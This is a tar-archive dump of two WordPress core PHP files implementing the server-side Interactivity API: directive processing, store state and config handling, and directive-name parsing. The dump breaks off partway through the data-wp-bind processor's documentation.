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class-wp-interactivity-api-directives-processor.php 0000644 00000017124 15173657412 0016645 0 ustar 00 <?php /** * Interactivity API: WP_Interactivity_API_Directives_Processor class. * * @package WordPress * @subpackage Interactivity API * @since 6.5.0 */ /** * Class used to iterate over the tags of an HTML string and help process the * directive attributes. * * @since 6.5.0 * * @access private */ final class WP_Interactivity_API_Directives_Processor extends WP_HTML_Tag_Processor { /** * List of tags whose closer tag is not visited by the WP_HTML_Tag_Processor. * * @since 6.5.0 * @var string[] */ const TAGS_THAT_DONT_VISIT_CLOSER_TAG = array( 'SCRIPT', 'IFRAME', 'NOEMBED', 'NOFRAMES', 'STYLE', 'TEXTAREA', 'TITLE', 'XMP', ); /** * Returns the content between two balanced template tags. * * It positions the cursor in the closer tag of the balanced template tag, * if it exists. * * @since 6.5.0 * * @access private * * @return string|null The content between the current opener template tag and its matching closer tag or null if it * doesn't find the matching closing tag or the current tag is not a template opener tag. */ public function get_content_between_balanced_template_tags() { if ( 'TEMPLATE' !== $this->get_tag() ) { return null; } $positions = $this->get_after_opener_tag_and_before_closer_tag_positions(); if ( ! $positions ) { return null; } list( $after_opener_tag, $before_closer_tag ) = $positions; return substr( $this->html, $after_opener_tag, $before_closer_tag - $after_opener_tag ); } /** * Sets the content between two balanced tags. * * @since 6.5.0 * * @access private * * @param string $new_content The string to replace the content between the matching tags. * @return bool Whether the content was successfully replaced. */ public function set_content_between_balanced_tags( string $new_content ): bool { $positions = $this->get_after_opener_tag_and_before_closer_tag_positions( true ); if ( ! $positions ) { return false; } list( $after_opener_tag, $before_closer_tag ) = $positions; $this->lexical_updates[] = new WP_HTML_Text_Replacement( $after_opener_tag, $before_closer_tag - $after_opener_tag, esc_html( $new_content ) ); return true; } /** * Appends content after the closing tag of a template tag. * * It positions the cursor in the closer tag of the balanced template tag, * if it exists. * * @since 6.5.0 * * @access private * * @param string $new_content The string to append after the closing template tag. * @return bool Whether the content was successfully appended. */ public function append_content_after_template_tag_closer( string $new_content ): bool { if ( empty( $new_content ) || 'TEMPLATE' !== $this->get_tag() || ! $this->is_tag_closer() ) { return false; } // Flushes any changes. $this->get_updated_html(); $bookmark = 'append_content_after_template_tag_closer'; $this->set_bookmark( $bookmark ); $after_closing_tag = $this->bookmarks[ $bookmark ]->start + $this->bookmarks[ $bookmark ]->length; $this->release_bookmark( $bookmark ); // Appends the new content. $this->lexical_updates[] = new WP_HTML_Text_Replacement( $after_closing_tag, 0, $new_content ); return true; } /** * Gets the positions right after the opener tag and right before the closer * tag in a balanced tag. * * By default, it positions the cursor in the closer tag of the balanced tag. * If $rewind is true, it seeks back to the opener tag. * * @since 6.5.0 * * @access private * * @param bool $rewind Optional. Whether to seek back to the opener tag after finding the positions. Defaults to false. * @return array|null Start and end byte position, or null when no balanced tag bookmarks. */ private function get_after_opener_tag_and_before_closer_tag_positions( bool $rewind = false ) { // Flushes any changes. $this->get_updated_html(); $bookmarks = $this->get_balanced_tag_bookmarks(); if ( ! $bookmarks ) { return null; } list( $opener_tag, $closer_tag ) = $bookmarks; $after_opener_tag = $this->bookmarks[ $opener_tag ]->start + $this->bookmarks[ $opener_tag ]->length; $before_closer_tag = $this->bookmarks[ $closer_tag ]->start; if ( $rewind ) { $this->seek( $opener_tag ); } $this->release_bookmark( $opener_tag ); $this->release_bookmark( $closer_tag ); return array( $after_opener_tag, $before_closer_tag ); } /** * Returns a pair of bookmarks for the current opener tag and the matching * closer tag. * * It positions the cursor in the closer tag of the balanced tag, if it * exists. * * @since 6.5.0 * * @return array|null A pair of bookmarks, or null if there's no matching closing tag. */ private function get_balanced_tag_bookmarks() { static $i = 0; $opener_tag = 'opener_tag_of_balanced_tag_' . ++$i; $this->set_bookmark( $opener_tag ); if ( ! $this->next_balanced_tag_closer_tag() ) { $this->release_bookmark( $opener_tag ); return null; } $closer_tag = 'closer_tag_of_balanced_tag_' . ++$i; $this->set_bookmark( $closer_tag ); return array( $opener_tag, $closer_tag ); } /** * Skips processing the content between tags. * * It positions the cursor in the closer tag of the foreign element, if it * exists. * * This function is intended to skip processing SVG and MathML inner content * instead of bailing out the whole processing. * * @since 6.5.0 * * @access private * * @return bool Whether the foreign content was successfully skipped. */ public function skip_to_tag_closer(): bool { $depth = 1; $tag_name = $this->get_tag(); while ( $depth > 0 && $this->next_tag( array( 'tag_closers' => 'visit' ) ) ) { if ( ! $this->is_tag_closer() && $this->get_attribute_names_with_prefix( 'data-wp-' ) ) { /* translators: 1: SVG or MATH HTML tag. */ $message = sprintf( __( 'Interactivity directives were detected inside an incompatible %1$s tag. These directives will be ignored in the server side render.' ), $tag_name ); _doing_it_wrong( __METHOD__, $message, '6.6.0' ); } if ( $this->get_tag() === $tag_name ) { if ( $this->has_self_closing_flag() ) { continue; } $depth += $this->is_tag_closer() ? -1 : 1; } } return 0 === $depth; } /** * Finds the matching closing tag for an opening tag. * * When called while the processor is on an open tag, it traverses the HTML * until it finds the matching closer tag, respecting any in-between content, * including nested tags of the same name. Returns false when called on a * closer tag, a tag that doesn't have a closer tag (void), a tag that * doesn't visit the closer tag, or if no matching closing tag was found. * * @since 6.5.0 * * @access private * * @return bool Whether a matching closing tag was found. */ public function next_balanced_tag_closer_tag(): bool { $depth = 0; $tag_name = $this->get_tag(); if ( ! $this->has_and_visits_its_closer_tag() ) { return false; } while ( $this->next_tag( array( 'tag_name' => $tag_name, 'tag_closers' => 'visit', ) ) ) { if ( ! $this->is_tag_closer() ) { ++$depth; continue; } if ( 0 === $depth ) { return true; } --$depth; } return false; } /** * Checks whether the current tag has and will visit its matching closer tag. * * @since 6.5.0 * * @access private * * @return bool Whether the current tag has a closer tag. */ public function has_and_visits_its_closer_tag(): bool { $tag_name = $this->get_tag(); return null !== $tag_name && ( ! WP_HTML_Processor::is_void( $tag_name ) && ! in_array( $tag_name, self::TAGS_THAT_DONT_VISIT_CLOSER_TAG, true ) ); } } class-wp-interactivity-api.php 0000644 00000142541 15173657412 0012473 0 ustar 00 <?php /** * Interactivity API: WP_Interactivity_API class. * * @package WordPress * @subpackage Interactivity API * @since 6.5.0 */ /** * Class used to process the Interactivity API on the server. * * @since 6.5.0 */ final class WP_Interactivity_API { /** * Holds the mapping of directive attribute names to their processor methods. * * @since 6.5.0 * @var array */ private static $directive_processors = array( 'data-wp-interactive' => 'data_wp_interactive_processor', 'data-wp-router-region' => 'data_wp_router_region_processor', 'data-wp-context' => 'data_wp_context_processor', 'data-wp-bind' => 'data_wp_bind_processor', 'data-wp-class' => 'data_wp_class_processor', 'data-wp-style' => 'data_wp_style_processor', 'data-wp-text' => 'data_wp_text_processor', /* * `data-wp-each` needs to be processed in the last place because it moves * the cursor to the end of the processed items to prevent them to be * processed twice. */ 'data-wp-each' => 'data_wp_each_processor', ); /** * Holds the initial state of the different Interactivity API stores. * * This state is used during the server directive processing. Then, it is * serialized and sent to the client as part of the interactivity data to be * recovered during the hydration of the client interactivity stores. * * @since 6.5.0 * @var array */ private $state_data = array(); /** * Holds the configuration required by the different Interactivity API stores. * * This configuration is serialized and sent to the client as part of the * interactivity data and can be accessed by the client interactivity stores. * * @since 6.5.0 * @var array */ private $config_data = array(); /** * Keeps track of all derived state closures accessed during server-side rendering. * * This data is serialized and sent to the client as part of the interactivity * data, and is handled later in the client to support derived state props that * are lazily hydrated. * * @since 6.9.0 * @var array */ private $derived_state_closures = array(); /** * Flag that indicates whether the `data-wp-router-region` directive has * been found in the HTML and processed. * * The value is saved in a private property of the WP_Interactivity_API * instance instead of using a static variable inside the processor * function, which would hold the same value for all instances * independently of whether they have processed any * `data-wp-router-region` directive or not. * * @since 6.5.0 * @var bool */ private $has_processed_router_region = false; /** * Set of script modules that can be loaded after client-side navigation. * * @since 6.9.0 * @var array<string, true> */ private $script_modules_that_can_load_on_client_navigation = array(); /** * Stack of namespaces defined by `data-wp-interactive` directives, in * the order they are processed. * * This is only available during directive processing, otherwise it is `null`. * * @since 6.6.0 * @var array<string>|null */ private $namespace_stack = null; /** * Stack of contexts defined by `data-wp-context` directives, in * the order they are processed. * * This is only available during directive processing, otherwise it is `null`. * * @since 6.6.0 * @var array<array<mixed>>|null */ private $context_stack = null; /** * Representation in array format of the element currently being processed. * * This is only available during directive processing, otherwise it is `null`. * * @since 6.7.0 * @var array{attributes: array<string, string|bool>}|null */ private $current_element = null; /** * Gets and/or sets the initial state of an Interactivity API store for a * given namespace. * * If state for that store namespace already exists, it merges the new * provided state with the existing one. * * When no namespace is specified, it returns the state defined for the * current value in the internal namespace stack during a `process_directives` call. * * @since 6.5.0 * @since 6.6.0 The `$store_namespace` param is optional. * * @param string $store_namespace Optional. The unique store namespace identifier. * @param array $state Optional. The array that will be merged with the existing state for the specified * store namespace. * @return array The current state for the specified store namespace. This will be the updated state if a $state * argument was provided. */ public function state( ?string $store_namespace = null, ?array $state = null ): array { if ( ! $store_namespace ) { if ( $state ) { _doing_it_wrong( __METHOD__, __( 'The namespace is required when state data is passed.' ), '6.6.0' ); return array(); } if ( null !== $store_namespace ) { _doing_it_wrong( __METHOD__, __( 'The namespace should be a non-empty string.' ), '6.6.0' ); return array(); } if ( null === $this->namespace_stack ) { _doing_it_wrong( __METHOD__, __( 'The namespace can only be omitted during directive processing.' ), '6.6.0' ); return array(); } $store_namespace = end( $this->namespace_stack ); } if ( ! isset( $this->state_data[ $store_namespace ] ) ) { $this->state_data[ $store_namespace ] = array(); } if ( is_array( $state ) ) { $this->state_data[ $store_namespace ] = array_replace_recursive( $this->state_data[ $store_namespace ], $state ); } return $this->state_data[ $store_namespace ]; } /** * Gets and/or sets the configuration of the Interactivity API for a given * store namespace. * * If configuration for that store namespace exists, it merges the new * provided configuration with the existing one. * * @since 6.5.0 * * @param string $store_namespace The unique store namespace identifier. * @param array $config Optional. The array that will be merged with the existing configuration for the * specified store namespace. * @return array The configuration for the specified store namespace. This will be the updated configuration if a * $config argument was provided. */ public function config( string $store_namespace, array $config = array() ): array { if ( ! isset( $this->config_data[ $store_namespace ] ) ) { $this->config_data[ $store_namespace ] = array(); } if ( is_array( $config ) ) { $this->config_data[ $store_namespace ] = array_replace_recursive( $this->config_data[ $store_namespace ], $config ); } return $this->config_data[ $store_namespace ]; } /** * Prints the serialized client-side interactivity data. * * Encodes the config and initial state into JSON and prints them inside a * script tag of type "application/json". Once in the browser, the state will * be parsed and used to hydrate the client-side interactivity stores and the * configuration will be available using a `getConfig` utility. * * @since 6.5.0 * * @deprecated 6.7.0 Client data passing is handled by the {@see "script_module_data_{$module_id}"} filter. */ public function print_client_interactivity_data() { _deprecated_function( __METHOD__, '6.7.0' ); } /** * Set client-side interactivity-router data. * * Once in the browser, the state will be parsed and used to hydrate the client-side * interactivity stores and the configuration will be available using a `getConfig` utility. * * @since 6.7.0 * * @param array $data Data to filter. * @return array Data for the Interactivity Router script module. */ public function filter_script_module_interactivity_router_data( array $data ): array { if ( ! isset( $data['i18n'] ) ) { $data['i18n'] = array(); } $data['i18n']['loading'] = __( 'Loading page, please wait.' ); $data['i18n']['loaded'] = __( 'Page Loaded.' ); return $data; } /** * Set client-side interactivity data. * * Once in the browser, the state will be parsed and used to hydrate the client-side * interactivity stores and the configuration will be available using a `getConfig` utility. * * @since 6.7.0 * @since 6.9.0 Serializes derived state props accessed during directive processing. * * @param array $data Data to filter. * @return array Data for the Interactivity API script module. */ public function filter_script_module_interactivity_data( array $data ): array { if ( empty( $this->state_data ) && empty( $this->config_data ) && empty( $this->derived_state_closures ) ) { return $data; } $config = array(); foreach ( $this->config_data as $key => $value ) { if ( ! empty( $value ) ) { $config[ $key ] = $value; } } if ( ! empty( $config ) ) { $data['config'] = $config; } $state = array(); foreach ( $this->state_data as $key => $value ) { if ( ! empty( $value ) ) { $state[ $key ] = $value; } } if ( ! empty( $state ) ) { $data['state'] = $state; } $derived_props = array(); foreach ( $this->derived_state_closures as $key => $value ) { if ( ! empty( $value ) ) { $derived_props[ $key ] = $value; } } if ( ! empty( $derived_props ) ) { $data['derivedStateClosures'] = $derived_props; } return $data; } /** * Returns the latest value on the context stack with the passed namespace. * * When the namespace is omitted, it uses the current namespace on the * namespace stack during a `process_directives` call. * * @since 6.6.0 * * @param string $store_namespace Optional. The unique store namespace identifier. */ public function get_context( ?string $store_namespace = null ): array { if ( null === $this->context_stack ) { _doing_it_wrong( __METHOD__, __( 'The context can only be read during directive processing.' ), '6.6.0' ); return array(); } if ( ! $store_namespace ) { if ( null !== $store_namespace ) { _doing_it_wrong( __METHOD__, __( 'The namespace should be a non-empty string.' ), '6.6.0' ); return array(); } $store_namespace = end( $this->namespace_stack ); } $context = end( $this->context_stack ); return ( $store_namespace && $context && isset( $context[ $store_namespace ] ) ) ? $context[ $store_namespace ] : array(); } /** * Returns an array representation of the current element being processed. * * The returned array contains a copy of the element attributes. * * @since 6.7.0 * * @return array{attributes: array<string, string|bool>}|null Current element. */ public function get_element(): ?array { if ( null === $this->current_element ) { _doing_it_wrong( __METHOD__, __( 'The element can only be read during directive processing.' ), '6.7.0' ); } return $this->current_element; } /** * Registers the `@wordpress/interactivity` script modules. * * @deprecated 6.7.0 Script Modules registration is handled by {@see wp_default_script_modules()}. * * @since 6.5.0 */ public function register_script_modules() { _deprecated_function( __METHOD__, '6.7.0', 'wp_default_script_modules' ); } /** * Adds the necessary hooks for the Interactivity API. * * @since 6.5.0 * @since 6.9.0 Adds support for client-side navigation in script modules. */ public function add_hooks() { add_filter( 'script_module_data_@wordpress/interactivity', array( $this, 'filter_script_module_interactivity_data' ) ); add_filter( 'script_module_data_@wordpress/interactivity-router', array( $this, 'filter_script_module_interactivity_router_data' ) ); add_filter( 'wp_script_attributes', array( $this, 'add_load_on_client_navigation_attribute_to_script_modules' ), 10, 1 ); } /** * Adds the `data-wp-router-options` attribute to script modules that * support client-side navigation. * * This method filters the script attributes to include loading instructions * for the Interactivity API router, indicating which modules can be loaded * during client-side navigation. * * @since 6.9.0 * * @param array<string, string|true>|mixed $attributes The script tag attributes. * @return array The modified script tag attributes. */ public function add_load_on_client_navigation_attribute_to_script_modules( $attributes ) { if ( is_array( $attributes ) && isset( $attributes['type'], $attributes['id'] ) && 'module' === $attributes['type'] && array_key_exists( preg_replace( '/-js-module$/', '', $attributes['id'] ), $this->script_modules_that_can_load_on_client_navigation ) ) { $attributes['data-wp-router-options'] = wp_json_encode( array( 'loadOnClientNavigation' => true ) ); } return $attributes; } /** * Marks a script module as compatible with client-side navigation. * * This method registers a script module to be loaded during client-side * navigation in the Interactivity API router. Script modules marked with * this method will have the `loadOnClientNavigation` option enabled in the * `data-wp-router-options` directive. * * @since 6.9.0 * * @param string $script_module_id The script module identifier. */ public function add_client_navigation_support_to_script_module( string $script_module_id ) { $this->script_modules_that_can_load_on_client_navigation[ $script_module_id ] = true; } /** * Processes the interactivity directives contained within the HTML content * and updates the markup accordingly. * * @since 6.5.0 * * @param string $html The HTML content to process. * @return string The processed HTML content. It returns the original content when the HTML contains unbalanced tags. */ public function process_directives( string $html ): string { if ( ! str_contains( $html, 'data-wp-' ) ) { return $html; } $this->namespace_stack = array(); $this->context_stack = array(); $result = $this->_process_directives( $html ); $this->namespace_stack = null; $this->context_stack = null; return null === $result ? $html : $result; } /** * Processes the interactivity directives contained within the HTML content * and updates the markup accordingly. * * It uses the WP_Interactivity_API instance's context and namespace stacks, * which are shared between all calls. * * This method returns null if the HTML contains unbalanced tags. * * @since 6.6.0 * * @param string $html The HTML content to process. * @return string|null The processed HTML content. It returns null when the HTML contains unbalanced tags. */ private function _process_directives( string $html ) { $p = new WP_Interactivity_API_Directives_Processor( $html ); $tag_stack = array(); $unbalanced = false; $directive_processor_prefixes = array_keys( self::$directive_processors ); $directive_processor_prefixes_reversed = array_reverse( $directive_processor_prefixes ); /* * Save the current size for each stack to restore them in case * the processing finds unbalanced tags. */ $namespace_stack_size = count( $this->namespace_stack ); $context_stack_size = count( $this->context_stack ); while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) { $tag_name = $p->get_tag(); /* * Directives inside SVG and MATH tags are not processed, * as they are not compatible with the Tag Processor yet. * We still process the rest of the HTML. */ if ( 'SVG' === $tag_name || 'MATH' === $tag_name ) { if ( $p->get_attribute_names_with_prefix( 'data-wp-' ) ) { /* translators: 1: SVG or MATH HTML tag, 2: Namespace of the interactive block. */ $message = sprintf( __( 'Interactivity directives were detected on an incompatible %1$s tag when processing "%2$s". These directives will be ignored in the server side render.' ), $tag_name, end( $this->namespace_stack ) ); _doing_it_wrong( __METHOD__, $message, '6.6.0' ); } $p->skip_to_tag_closer(); continue; } if ( $p->is_tag_closer() ) { list( $opening_tag_name, $directives_prefixes ) = ! empty( $tag_stack ) ? end( $tag_stack ) : array( null, null ); if ( 0 === count( $tag_stack ) || $opening_tag_name !== $tag_name ) { /* * If the tag stack is empty or the matching opening tag is not the * same than the closing tag, it means the HTML is unbalanced and it * stops processing it. */ $unbalanced = true; break; } else { // Remove the last tag from the stack. array_pop( $tag_stack ); } } else { $each_child_attrs = $p->get_attribute_names_with_prefix( 'data-wp-each-child' ); if ( null === $each_child_attrs ) { continue; } if ( 0 !== count( $each_child_attrs ) ) { /* * If the tag has a `data-wp-each-child` directive, jump to its closer * tag because those tags have already been processed. */ $p->next_balanced_tag_closer_tag(); continue; } else { $directives_prefixes = array(); // Checks if there is a server directive processor registered for each directive. foreach ( $p->get_attribute_names_with_prefix( 'data-wp-' ) as $attribute_name ) { $parsed_directive = $this->parse_directive_name( $attribute_name ); if ( empty( $parsed_directive ) ) { continue; } $directive_prefix = 'data-wp-' . $parsed_directive['prefix']; if ( array_key_exists( $directive_prefix, self::$directive_processors ) ) { $directives_prefixes[] = $directive_prefix; } } /* * If this tag will visit its closer tag, it adds it to the tag stack * so it can process its closing tag and check for unbalanced tags. */ if ( $p->has_and_visits_its_closer_tag() ) { $tag_stack[] = array( $tag_name, $directives_prefixes ); } } } /* * If the matching opener tag didn't have any directives, it can skip the * processing. */ if ( 0 === count( $directives_prefixes ) ) { continue; } // Directive processing might be different depending on if it is entering the tag or exiting it. $modes = array( 'enter' => ! $p->is_tag_closer(), 'exit' => $p->is_tag_closer() || ! $p->has_and_visits_its_closer_tag(), ); // Get the element attributes to include them in the element representation. $element_attrs = array(); $attr_names = $p->get_attribute_names_with_prefix( '' ) ?? array(); foreach ( $attr_names as $name ) { $element_attrs[ $name ] = $p->get_attribute( $name ); } // Assign the current element right before running its directive processors. $this->current_element = array( 'attributes' => $element_attrs, ); foreach ( $modes as $mode => $should_run ) { if ( ! $should_run ) { continue; } /* * Sorts the attributes by the order of the `directives_processor` array * and checks what directives are present in this element. */ $existing_directives_prefixes = array_intersect( 'enter' === $mode ? $directive_processor_prefixes : $directive_processor_prefixes_reversed, $directives_prefixes ); foreach ( $existing_directives_prefixes as $directive_prefix ) { $func = is_array( self::$directive_processors[ $directive_prefix ] ) ? self::$directive_processors[ $directive_prefix ] : array( $this, self::$directive_processors[ $directive_prefix ] ); call_user_func_array( $func, array( $p, $mode, &$tag_stack ) ); } } // Clear the current element. $this->current_element = null; } if ( $unbalanced ) { // Reset the namespace and context stacks to their previous values. array_splice( $this->namespace_stack, $namespace_stack_size ); array_splice( $this->context_stack, $context_stack_size ); } /* * It returns null if the HTML is unbalanced because unbalanced HTML is * not safe to process. In that case, the Interactivity API runtime will * update the HTML on the client side during the hydration. It will display * a notice to the developer in the console to inform them about the issue. */ if ( $unbalanced || 0 < count( $tag_stack ) ) { return null; } return $p->get_updated_html(); } /** * Evaluates the reference path passed to a directive based on the current * store namespace, state and context. * * @since 6.5.0 * @since 6.6.0 The function now adds a warning when the namespace is null, falsy, or the directive value is empty. * @since 6.6.0 Removed `default_namespace` and `context` arguments. * @since 6.6.0 Add support for derived state. * @since 6.9.0 Recieve $entry as an argument instead of the directive value string. * * @param array $entry An array containing a whole directive entry with its namespace, value, suffix, or unique ID. * @return mixed|null The result of the evaluation. Null if the reference path doesn't exist or the namespace is falsy. */ private function evaluate( $entry ) { $context = end( $this->context_stack ); ['namespace' => $ns, 'value' => $path] = $entry; if ( ! $ns || ! $path ) { /* translators: %s: The directive value referenced. */ $message = sprintf( __( 'Namespace or reference path cannot be empty. Directive value referenced: %s' ), json_encode( $entry ) ); _doing_it_wrong( __METHOD__, $message, '6.6.0' ); return null; } $store = array( 'state' => $this->state_data[ $ns ] ?? array(), 'context' => $context[ $ns ] ?? array(), ); // Checks if the reference path is preceded by a negation operator (!). $should_negate_value = '!' === $path[0]; $path = $should_negate_value ? substr( $path, 1 ) : $path; // Extracts the value from the store using the reference path. $path_segments = explode( '.', $path ); $current = $store; foreach ( $path_segments as $index => $path_segment ) { /* * Special case for numeric arrays and strings. Add length * property mimicking JavaScript behavior. * * @since 6.8.0 */ if ( 'length' === $path_segment ) { if ( is_array( $current ) && array_is_list( $current ) ) { $current = count( $current ); break; } if ( is_string( $current ) ) { /* * Differences in encoding between PHP strings and * JavaScript mean that it's complicated to calculate * the string length JavaScript would see from PHP. * `strlen` is a reasonable approximation. * * Users that desire a more precise length likely have * more precise needs than "bytelength" and should * implement their own length calculation in derived * state taking into account encoding and their desired * output (codepoints, graphemes, bytes, etc.). */ $current = strlen( $current ); break; } } if ( ( is_array( $current ) || $current instanceof ArrayAccess ) && isset( $current[ $path_segment ] ) ) { $current = $current[ $path_segment ]; } elseif ( is_object( $current ) && isset( $current->$path_segment ) ) { $current = $current->$path_segment; } else { $current = null; break; } if ( $current instanceof Closure ) { /* * This state getter's namespace is added to the stack so that * `state()` or `get_config()` read that namespace when called * without specifying one. */ array_push( $this->namespace_stack, $ns ); try { $current = $current(); /* * Tracks derived state properties that are accessed during * rendering. * * @since 6.9.0 */ $this->derived_state_closures[ $ns ] = $this->derived_state_closures[ $ns ] ?? array(); // Builds path for the current property and add it to tracking if not already present. $current_path = implode( '.', array_slice( $path_segments, 0, $index + 1 ) ); if ( ! in_array( $current_path, $this->derived_state_closures[ $ns ], true ) ) { $this->derived_state_closures[ $ns ][] = $current_path; } } catch ( Throwable $e ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: 1: Path pointing to an Interactivity API state property, 2: Namespace for an Interactivity API store. */ __( 'Uncaught error executing a derived state callback with path "%1$s" and namespace "%2$s".' ), $path, $ns ), '6.6.0' ); return null; } finally { // Remove the property's namespace from the stack. array_pop( $this->namespace_stack ); } } } // Returns the opposite if it contains a negation operator (!). return $should_negate_value ? ! $current : $current; } /** * Parse the directive name to extract the following parts: * - Prefix: The main directive name without "data-wp-". * - Suffix: An optional suffix used during directive processing, extracted after the first double hyphen "--". * - Unique ID: An optional unique identifier, extracted after the first triple hyphen "---". * * This function has an equivalent version for the client side. * See `parseDirectiveName` in https://github.com/WordPress/gutenberg/blob/trunk/packages/interactivity/src/vdom.ts.: * * See examples in the function unit tests `test_parse_directive_name`. * * @since 6.9.0 * * @param string $directive_name The directive attribute name. * @return array An array containing the directive prefix, optional suffix, and optional unique ID. */ private function parse_directive_name( string $directive_name ): ?array { // Remove the first 8 characters (assumes "data-wp-" prefix) $name = substr( $directive_name, 8 ); // Check for invalid characters (anything not a-z, 0-9, -, or _) if ( preg_match( '/[^a-z0-9\-_]/i', $name ) ) { return null; } // Find the first occurrence of '--' to separate the prefix $suffix_index = strpos( $name, '--' ); if ( false === $suffix_index ) { return array( 'prefix' => $name, 'suffix' => null, 'unique_id' => null, ); } $prefix = substr( $name, 0, $suffix_index ); $remaining = substr( $name, $suffix_index ); // If remaining starts with '---' but not '----', it's a unique_id if ( '---' === substr( $remaining, 0, 3 ) && '-' !== ( $remaining[3] ?? '' ) ) { return array( 'prefix' => $prefix, 'suffix' => null, 'unique_id' => '---' !== $remaining ? substr( $remaining, 3 ) : null, ); } // Otherwise, remove the first two dashes for a potential suffix $suffix = substr( $remaining, 2 ); // Look for '---' in the suffix for a unique_id $unique_id_index = strpos( $suffix, '---' ); if ( false !== $unique_id_index && '-' !== ( $suffix[ $unique_id_index + 3 ] ?? '' ) ) { $unique_id = substr( $suffix, $unique_id_index + 3 ); $suffix = substr( $suffix, 0, $unique_id_index ); return array( 'prefix' => $prefix, 'suffix' => empty( $suffix ) ? null : $suffix, 'unique_id' => empty( $unique_id ) ? null : $unique_id, ); } return array( 'prefix' => $prefix, 'suffix' => empty( $suffix ) ? null : $suffix, 'unique_id' => null, ); } /** * Parses and extracts the namespace and reference path from the given * directive attribute value. * * If the value doesn't contain an explicit namespace, it returns the * default one. If the value contains a JSON object instead of a reference * path, the function tries to parse it and return the resulting array. If * the value contains strings that represent booleans ("true" and "false"), * numbers ("1" and "1.2") or "null", the function also transform them to * regular booleans, numbers and `null`. * * Example: * * extract_directive_value( 'actions.foo', 'myPlugin' ) => array( 'myPlugin', 'actions.foo' ) * extract_directive_value( 'otherPlugin::actions.foo', 'myPlugin' ) => array( 'otherPlugin', 'actions.foo' ) * extract_directive_value( '{ "isOpen": false }', 'myPlugin' ) => array( 'myPlugin', array( 'isOpen' => false ) ) * extract_directive_value( 'otherPlugin::{ "isOpen": false }', 'myPlugin' ) => array( 'otherPlugin', array( 'isOpen' => false ) ) * * @since 6.5.0 * * @param string|true $directive_value The directive attribute value. It can be `true` when it's a boolean * attribute. * @param string|null $default_namespace Optional. The default namespace if none is explicitly defined. * @return array An array containing the namespace in the first item and the JSON, the reference path, or null on the * second item. */ private function extract_directive_value( $directive_value, $default_namespace = null ): array { if ( empty( $directive_value ) || is_bool( $directive_value ) ) { return array( $default_namespace, null ); } // Replaces the value and namespace if there is a namespace in the value. if ( 1 === preg_match( '/^([\w\-_\/]+)::./', $directive_value ) ) { list($default_namespace, $directive_value) = explode( '::', $directive_value, 2 ); } /* * Tries to decode the value as a JSON object. If it fails and the value * isn't `null`, it returns the value as it is. Otherwise, it returns the * decoded JSON or null for the string `null`. */ $decoded_json = json_decode( $directive_value, true ); if ( null !== $decoded_json || 'null' === $directive_value ) { $directive_value = $decoded_json; } return array( $default_namespace, $directive_value ); } /** * Parse the HTML element and get all the valid directives with the given prefix. * * @since 6.9.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $prefix The directive prefix to filter by. * @return array An array of entries containing the directive namespace, value, suffix, and unique ID. */ private function get_directive_entries( WP_Interactivity_API_Directives_Processor $p, string $prefix ) { $directive_attributes = $p->get_attribute_names_with_prefix( 'data-wp-' . $prefix ); $entries = array(); foreach ( $directive_attributes as $attribute_name ) { [ 'prefix' => $attr_prefix, 'suffix' => $suffix, 'unique_id' => $unique_id] = $this->parse_directive_name( $attribute_name ); // Ensure it is the desired directive. if ( $prefix !== $attr_prefix ) { continue; } list( $namespace, $value ) = $this->extract_directive_value( $p->get_attribute( $attribute_name ), end( $this->namespace_stack ) ); $entries[] = array( 'namespace' => $namespace, 'value' => $value, 'suffix' => $suffix, 'unique_id' => $unique_id, ); } // Sort directive entries to ensure stable ordering with the client. // Put nulls first, then sort by suffix and finally by uniqueIds. usort( $entries, function ( $a, $b ) { $a_suffix = $a['suffix'] ?? ''; $b_suffix = $b['suffix'] ?? ''; if ( $a_suffix !== $b_suffix ) { return $a_suffix < $b_suffix ? -1 : 1; } $a_id = $a['unique_id'] ?? ''; $b_id = $b['unique_id'] ?? ''; if ( $a_id === $b_id ) { return 0; } return $a_id > $b_id ? 1 : -1; } ); return $entries; } /** * Transforms a kebab-case string to camelCase. * * @since 6.5.0 * * @param string $str The kebab-case string to transform to camelCase. * @return string The transformed camelCase string. */ private function kebab_to_camel_case( string $str ): string { return lcfirst( preg_replace_callback( '/(-)([a-z])/', function ( $matches ) { return strtoupper( $matches[2] ); }, strtolower( rtrim( $str, '-' ) ) ) ); } /** * Processes the `data-wp-interactive` directive. * * It adds the default store namespace defined in the directive value to the * stack so that it's available for the nested interactivity elements. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_interactive_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { // When exiting tags, it removes the last namespace from the stack. if ( 'exit' === $mode ) { array_pop( $this->namespace_stack ); return; } // Tries to decode the `data-wp-interactive` attribute value. $attribute_value = $p->get_attribute( 'data-wp-interactive' ); /* * Pushes the newly defined namespace or the current one if the * `data-wp-interactive` definition was invalid or does not contain a * namespace. It does so because the function pops out the current namespace * from the stack whenever it finds a `data-wp-interactive`'s closing tag, * independently of whether the previous `data-wp-interactive` definition * contained a valid namespace. */ $new_namespace = null; if ( is_string( $attribute_value ) && ! empty( $attribute_value ) ) { $decoded_json = json_decode( $attribute_value, true ); if ( is_array( $decoded_json ) ) { $new_namespace = $decoded_json['namespace'] ?? null; } else { $new_namespace = $attribute_value; } } $this->namespace_stack[] = ( $new_namespace && 1 === preg_match( '/^([\w\-_\/]+)/', $new_namespace ) ) ? $new_namespace : end( $this->namespace_stack ); } /** * Processes the `data-wp-context` directive. * * It adds the context defined in the directive value to the stack so that * it's available for the nested interactivity elements. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_context_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { // When exiting tags, it removes the last context from the stack. if ( 'exit' === $mode ) { array_pop( $this->context_stack ); return; } $entries = $this->get_directive_entries( $p, 'context' ); $context = end( $this->context_stack ) !== false ? end( $this->context_stack ) : array(); foreach ( $entries as $entry ) { if ( null !== $entry['suffix'] ) { continue; } $context = array_replace_recursive( $context, array( $entry['namespace'] => is_array( $entry['value'] ) ? $entry['value'] : array() ) ); } $this->context_stack[] = $context; } /** * Processes the `data-wp-bind` directive. * * It updates or removes the bound attributes based on the evaluation of its * associated reference. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the 